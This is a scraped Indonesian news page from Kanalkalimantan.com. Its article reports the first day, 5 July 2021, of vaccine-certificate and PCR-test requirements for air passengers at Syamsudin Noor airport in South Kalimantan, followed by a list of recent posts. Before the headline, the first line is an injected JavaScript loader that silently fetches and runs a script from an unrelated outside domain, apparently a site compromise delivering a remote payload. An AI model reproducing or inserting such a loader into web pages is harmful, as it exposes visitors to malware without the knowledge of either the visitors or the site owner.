(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Hari Pertama Kebijakan Dokumen Vaksin, Begini Kondisi di Bandara Syamsudin Noor


KANALKALIMANTAN.COM, BANJARBARU – Pemberlakuan aturan baru bagi calon penumpang pesawat di Bandara Syamsudin Noor Banjarmasin di Banjarbaru, Kalsel, Senin (5/7/2021) berjalan normal. Dari pantauan Kanalkalimantan.com, tidak ada penumpukan penumpang akibat penerapan kebijakan baru tersebut.

Sesuai aturan yang baru, setiap calon penumpang dari atau menuju Jawa dan Bali, harus menunjukkan dokumen telah divaksin Covid-19 serta hasil negatif tes PCR.

Untuk pemberlakuan syarat wajib vaksin dan PCR di Bandara Syamsudin Noor bagi calon peumpang yang diberlakukan hari ini, disampaikan Humas Angkasa Pura I, Zulfian.

“Iya sesuai dengan edaran dari menteri perhubungan, kita berlakukan mulai hari ini,” katanya kepada Kanalkalimantan.com.

 

Zulfian memaparkan terkait persiapan pelaksanaann aturan baru pada calon penumpang pesawat di Bandara Syamsudin Noor, pihaknya sudah melakukan koordinasi baik secara internal maupun eksternal.

“Secara internal kami melakukan pengawasan ketat terhadap para pengguna jasa dengan dibantu tim dari Avsec maupun tim operasional lainnya. Secara eksternal kami memberikan fasilitas kepada Kantor Kesehatan Pelabuhan Kelas II Banjarmasin untuk melakukan pengecekan kesehatan calon penumpang, termasuk prosedur penanganan ketika ada calon penumpang yang mengalami gejala Covid-19,” terangnya.

Baca juga: Kapal Tongkang Meledak di Pangkalan Bun, Satu Korban Meninggal

Ia juga menambahkan, selalu mengingatkan penumpang agar tetap menerapkan protol kesehatan dan mengumumkan lewat pengumunan di bandara agar selalu menggunakan masker dan menjaga jarak.

Dalam hal ini tentunya pihak Bandara sudah melakukan upaya kesiapan terkait Pemberlakuan Aturan baru pada calon penumpang pesawat di Bandara Syamsudin Noor.

Sebelumnya disampaikan, ketentuan perjalanan udara baru ini berdasarkan Surat Edaran Kementerian Perhubungan (Kemenhub) Nomor SE 45 Tahun 2021 tentang Petunjuk Pelaksanaan Perjalanan Orang Dalam Negeri dengan Transportasi Udara pada Masa Pandemi Covid-19 yang mulai diberlakukan pada 5 Juli 2021 ini.

Surat Edaran Kementerian Perhubungan ini merupakan turunan dari Surat Edaran Satuan Tugas (Satgas) Covid-19 nomor 14 tahun 2021 tentang Ketentuan Perjalanan Orang Dalam Negeri Dalam Masa Pandemi Covid-19.

Pada Surat Edaran Kemenhub Nomor 45 Tahun 2021 tersebut dinyatakan syarat dokumen bagi calon penumpang penerbangan antar bandara di Pulau Jawa, penerbangan dari atau ke bandara di Pulau Jawa, dan penerbangan dari atau ke bandara di Pulau Bali, yaitu:

1. Sertifikat Vaksin Covid-19 pertama.
2. Surat keterangan hasil tes negatif RT-PCR yang sampelnya diambil dalam kurun waktu maksimal 2×24 jam sebelum keberangkatan dan mengisi e-HAC Indonesia.
Sementara itu, syarat dokumen bagi calon penumpang pesawat udara yang akan melakukan perjalanan udara di luar wilayah Jawa dan Bali, yaitu:

1. Surat keterangan hasil tes negatif RT-PCR yang sampelnya diambil dalam kurun waktu maksimal 2×24 jam sebelum keberangkatan atau hasil tes negatif rapid test antigen yang sampelnya diambil dalam kurun waktu maksimal 1×24 jam sebelum keberangkatan dan mengisi e-HAC Indonesia.

Baca juga: Radius Ledakan Tongkang Methanol Terdengar hingga 4 Km, Kaca Rumah Warga Pecah

Vice President Corporate Secretary PT Angkasa Pura I (Persero) Handy Heryudhitiawan mengatakan, pada masa PPKM Darurat Jawa-Bali ini, di bandara Syamsudin Noor juga akan dilakukan rapid test antigen atau RT-PCR secara acak kepada pengguna jasa bandara.

“Kami mengimbau kepada masyarakat yang memang benar-benar harus melakukan perjalanan udara pada masa PPKM Darurat ini untuk dapat menyiapkan dokumen syarat penerbangan sehari sebelum keberangkatan dengan benar dan teliti, serta tiba di bandara sekitar 3 jam sebelum waktu keberangkatan demi kenyamanan dan kelancaran proses keberangkatan serta untuk menghindari penumpukkan pemeriksaan dokumen syarat perjalanan,” ungkap Handy.(Kanalkalimantan.com/dewi)

Reporter: dewi
Editor: cell


Risa

Recent Posts

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

34 menit ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

42 menit ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

13 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

15 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

20 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

23 jam ago

This website uses cookies.